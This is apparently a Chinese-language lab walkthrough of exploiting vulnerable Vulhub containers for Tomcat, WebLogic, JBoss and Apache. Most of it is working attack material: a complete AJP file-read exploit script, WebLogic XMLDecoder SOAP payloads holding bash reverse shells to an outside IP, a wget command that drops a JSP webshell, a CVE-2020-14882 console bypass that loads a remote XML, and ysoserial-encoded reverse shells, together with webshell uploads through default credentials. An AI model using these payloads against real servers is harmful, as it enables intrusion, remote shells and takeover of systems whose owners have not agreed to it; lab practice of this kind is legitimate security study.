建议:启动下一个环境时,将上一个环境关闭,防止端口冲突和运行卡顿
1.Tomcat
Tomcat put方法任意文件写入漏洞
环境:
cd vulhub-master/tomcat/CVE-2017-12615
docker-compose up -d
访问页面
利用哥斯拉生成木马 1.jsp
开启抓包,修改文件头为put和文件路径,再将木马内容放到下面
放行后,网页打开1.jsp文件
看见无报错,是空白的,应该上传成功了,尝试木马连接
后台弱口令部署war包
全版本 得知道账号密码
环境
cd vulhub-master/tomcat/tomcat8
docker-compose up -d
打开网址,我们登录 默认账号密码:tomcat/tomcat
可以看到能上传war包
将我们生成的木马添加为zip压缩包,再改压缩包后缀是war war也是压缩包后缀
上传后,点击我们刚上传的文件
再拼接1.jsp,查看我们的木马
连接
Tomcat文件包含漏洞
环境
cd vulhub-master/tomcat/CVE-2020-1938
docker-compose up -d
需要用到代码,保存为.py文件
#!/usr/bin/env python
#CNVD-2020-10487 Tomcat-Ajp lfi
#by ydhcui
import struct
# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
if s is None:
return struct.pack(">h", -1)
l = len(s)
return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
size = struct.calcsize(fmt)
buf = stream.read(size)
return struct.unpack(fmt, buf)
def unpack_string(stream):
size, = unpack(stream, ">h")
if size == -1: # null string
return None
res, = unpack(stream, "%ds" % size)
stream.read(1) # \0
return res
class NotFoundException(Exception):
pass
class AjpBodyRequest(object):
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
MAX_REQUEST_LENGTH = 8186
def __init__(self, data_stream, data_len, data_direction=None):
self.data_stream = data_stream
self.data_len = data_len
self.data_direction = data_direction
def serialize(self):
data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
if len(data) == 0:
return struct.pack(">bbH", 0x12, 0x34, 0x00)
else:
res = struct.pack(">H", len(data))
res += data
if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbH", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbH", 0x41, 0x42, len(res))
return header + res
def send_and_receive(self, socket, stream):
while True:
data = self.serialize()
socket.send(data)
r = AjpResponse.receive(stream)
while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
r = AjpResponse.receive(stream)
if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
break
class AjpForwardRequest(object):
_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
COMMON_HEADERS = ["SC_REQ_ACCEPT",
"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
]
ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
def __init__(self, data_direction=None):
self.prefix_code = 0x02
self.method = None
self.protocol = None
self.req_uri = None
self.remote_addr = None
self.remote_host = None
self.server_name = None
self.server_port = None
self.is_ssl = None
self.num_headers = None
self.request_headers = None
self.attributes = None
self.data_direction = data_direction
def pack_headers(self):
self.num_headers = len(self.request_headers)
res = ""
res = struct.pack(">h", self.num_headers)
for h_name in self.request_headers:
if h_name.startswith("SC_REQ"):
code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
res += struct.pack("BB", 0xA0, code)
else:
res += pack_string(h_name)
res += pack_string(self.request_headers[h_name])
return res
def pack_attributes(self):
res = b""
for attr in self.attributes:
a_name = attr['name']
code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
res += struct.pack("b", code)
if a_name == "req_attribute":
aa_name, a_value = attr['value']
res += pack_string(aa_name)
res += pack_string(a_value)
else:
res += pack_string(attr['value'])
res += struct.pack("B", 0xFF)
return res
def serialize(self):
res = ""
res = struct.pack("bb", self.prefix_code, self.method)
res += pack_string(self.protocol)
res += pack_string(self.req_uri)
res += pack_string(self.remote_addr)
res += pack_string(self.remote_host)
res += pack_string(self.server_name)
res += struct.pack(">h", self.server_port)
res += struct.pack("?", self.is_ssl)
res += self.pack_headers()
res += self.pack_attributes()
if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbh", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbh", 0x41, 0x42, len(res))
return header + res
def parse(self, raw_packet):
stream = StringIO(raw_packet)
self.magic1, self.magic2, data_len = unpack(stream, "bbH")
self.prefix_code, self.method = unpack(stream, "bb")
self.protocol = unpack_string(stream)
self.req_uri = unpack_string(stream)
self.remote_addr = unpack_string(stream)
self.remote_host = unpack_string(stream)
self.server_name = unpack_string(stream)
self.server_port = unpack(stream, ">h")
self.is_ssl = unpack(stream, "?")
self.num_headers, = unpack(stream, ">H")
self.request_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code > 0xA000:
h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
else:
h_name = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
self.request_headers[h_name] = h_value
def send_and_receive(self, socket, stream, save_cookies=False):
res = []
i = socket.sendall(self.serialize())
if self.method == AjpForwardRequest.POST:
return res
r = AjpResponse.receive(stream)
assert r.prefix_code == AjpResponse.SEND_HEADERS
res.append(r)
if save_cookies and 'Set-Cookie' in r.response_headers:
self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
# read body chunks and end response packets
while True:
r = AjpResponse.receive(stream)
res.append(r)
if r.prefix_code == AjpResponse.END_RESPONSE:
break
elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
continue
else:
raise NotImplementedError
break
return res
class AjpResponse(object):
_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
COMMON_SEND_HEADERS = [
"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
]
def parse(self, stream):
# read headers
self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
if self.prefix_code == AjpResponse.SEND_HEADERS:
self.parse_send_headers(stream)
elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
self.parse_send_body_chunk(stream)
elif self.prefix_code == AjpResponse.END_RESPONSE:
self.parse_end_response(stream)
elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
self.parse_get_body_chunk(stream)
else:
raise NotImplementedError
def parse_send_headers(self, stream):
self.http_status_code, = unpack(stream, ">H")
self.http_status_msg = unpack_string(stream)
self.num_headers, = unpack(stream, ">H")
self.response_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code <= 0xA000: # custom header
h_name, = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
else:
h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
h_value = unpack_string(stream)
self.response_headers[h_name] = h_value
def parse_send_body_chunk(self, stream):
self.data_length, = unpack(stream, ">H")
self.data = stream.read(self.data_length+1)
def parse_end_response(self, stream):
self.reuse, = unpack(stream, "b")
def parse_get_body_chunk(self, stream):
rlen, = unpack(stream, ">H")
return rlen
@staticmethod
def receive(stream):
r = AjpResponse()
r.parse(stream)
return r
import socket
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
fr.method = method
fr.protocol = "HTTP/1.1"
fr.req_uri = req_uri
fr.remote_addr = target_host
fr.remote_host = None
fr.server_name = target_host
fr.server_port = 80
fr.request_headers = {
'SC_REQ_ACCEPT': 'text/html',
'SC_REQ_CONNECTION': 'keep-alive',
'SC_REQ_CONTENT_LENGTH': '0',
'SC_REQ_HOST': target_host,
'SC_REQ_USER_AGENT': 'Mozilla',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'en-US,en;q=0.5',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
fr.is_ssl = False
fr.attributes = []
return fr
class Tomcat(object):
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.connect((target_host, target_port))
self.stream = self.socket.makefile("rb", bufsize=0)
def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
self.req_uri = req_uri
self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
if user is not None and password is not None:
self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
for h in headers:
self.forward_request.request_headers[h] = headers[h]
for a in attributes:
self.forward_request.attributes.append(a)
responses = self.forward_request.send_and_receive(self.socket, self.stream)
if len(responses) == 0:
return None, None
snd_hdrs_res = responses[0]
data_res = responses[1:-1]
if len(data_res) == 0:
print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
return snd_hdrs_res, data_res
'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf.jsp',attributes=[
{'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
{'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
{'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
])
print('----------------------------')
print("".join([d.data for d in data]))
文件改为自己设置的名字
python Tomcat-ROOT路径下文件包含\(CVE-2020-1938\).py -p 8009 -f /WEB-INF/web.xml 39.105.47.83
WebLogic
后台弱口令GetShell
全版本 知道账号密码
环境
cd vulhub-master/weblogic/weak_password
docker-compose up -d
启动后访问后台,拼接console
等待一会
账号密码weblogic Oracle@123
找到部署,安装
进去后,点击上载文件
上传文件,我们之前的做的jsp压缩包
一直下一步,直到完成
找到网址,连接木马
XMLDecoder反序列化漏洞
wls-wsat组件
受影响版本:WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.1, 12.2.1.2。
环境
cd vulhub-master/weblogic/weak_password
docker-compose up -d
访问以下目录
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
出现类似此页面的,说明有wls组件,有漏洞
在此页面刷新,抓包,发送到重放器进行修改
修改请求方法
修改如下内容
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/39.105.47.83/6666 0>&1</string>
</void>
</array>
<void method="start"/></object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
开启监听nc -lvvp 6666
发送,直到左下角出现成功 下图是失败的情况
反弹成功
wls9-async组件
环境
cd vulhub-master/weblogic/weak_password
docker-compose up -d
拼接/_async/AsyncResponseService 出现以下页面说明存在漏洞
抓包,修改请求
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://39.105.47.83/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/678.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
服务器开启一个python的网页, 放行,让它来访问服务器上的shell木马,也就是原本的jsp木马,改后缀
连接
也可以修改为上关的反弹shell
WebLogic T3协议反序列化命令执行漏洞
环境
cd vulhub-master/weblogic/CVE-2018-2628
docker-compose up -d
直接用工具

WebLogic文件任意上传漏洞
cd vulhub-master/weblogic/CVE-2018-2894
docker-compose up -d
由于本关环境开启后,密码是随机的,我们需要自己查找
docker-compose logs | grep password
知道密码后就可以登录进来 账号weblogic






在该页面查找它给我们命名的id



WebLogic远程代码执行漏洞
环境
cd vulhub-master/weblogic/CVE-2020-14882
docker-compose up -d
拼接 /console/css/%252e%252e%252fconsole.portal 进行绕过,可能会出错,多试几次,直到进入控制台

后拼接 /console/css/%252e%252e%252fconsole.portal_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success');")
拼接后,可以看到目录多了一个success

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/39.105.47.83/6666 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
写完文件后开启服务
监听端口 nc -lvvp 6666
http://39.105.47.83:7001/console/css/%252e%252e%252fconsole.portal?
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://39.105.47.83/1.xml")

Jboss
Jboss JMXInvokerServlet 反序列化漏洞
cd vulhub-master/jboss/JMXInvokerServlet-deserialization
docker-compose up -d


2.下载 ysoserial
https://github.com/frohoff/ysoserial
将反弹shell进行base64编码(自己修改完记得重新编码)
bash -i >& /dev/tcp/39.105.47.83/6666 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuNDcuODMvODg4OCAwPiYx
cmd执行,生成一个exp.ser文件
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTMyLjkyLjE3LzY2NjYgMD4mMSA=}|{base64,-d}|{bash,-i} ">exp.ser
需要java8来启动,高版本会报错,如果是默认java8,执行上面的命令就行,不是的话,需要指定路径

服务器开启监听
再执行
curl http://39.105.47.83:8080/invoker/JMXInvokerServlet --data-binary @exp.ser


JBossMQ JMS 反序列化漏洞
cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d



JBoss 5.x/6.x反序列化漏洞
cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d


使用工具



Administration Console弱口令
全版本
环境
cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d
后台地址 /admin-console/login.seam admin vulhub
war上传处
上传文件
需要我们手动调整为所有文件,才能看到我们的war文件
这里尝试了一下 命名为1.war上传不上去,换个名字
连接 /sh/sh.jsp
低版本JMX Console未授权
Jboss4.x以下
环境
cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d
找到
再框内输入 http://39.105.47.83/shall.war
需要我们提前将木马sh.war上传到服务器,开启服务,再点击invoke
http://39.105.47.83:8081/shall/sh.jsp
高版本JMX Console未授权
Jboss6.x以下
环境
cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d
admin vulhub
找到
同上文
部署服务器木马,文本框输入http://39.105.47.83/shall.war
http://39.105.47.83:8080/shall/sh.jsp
Apache
Apache HTTP Server 路径穿越漏洞
docker pull blueteamsteve/cve-2021-41773:no-cgid
docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid
利用软件查看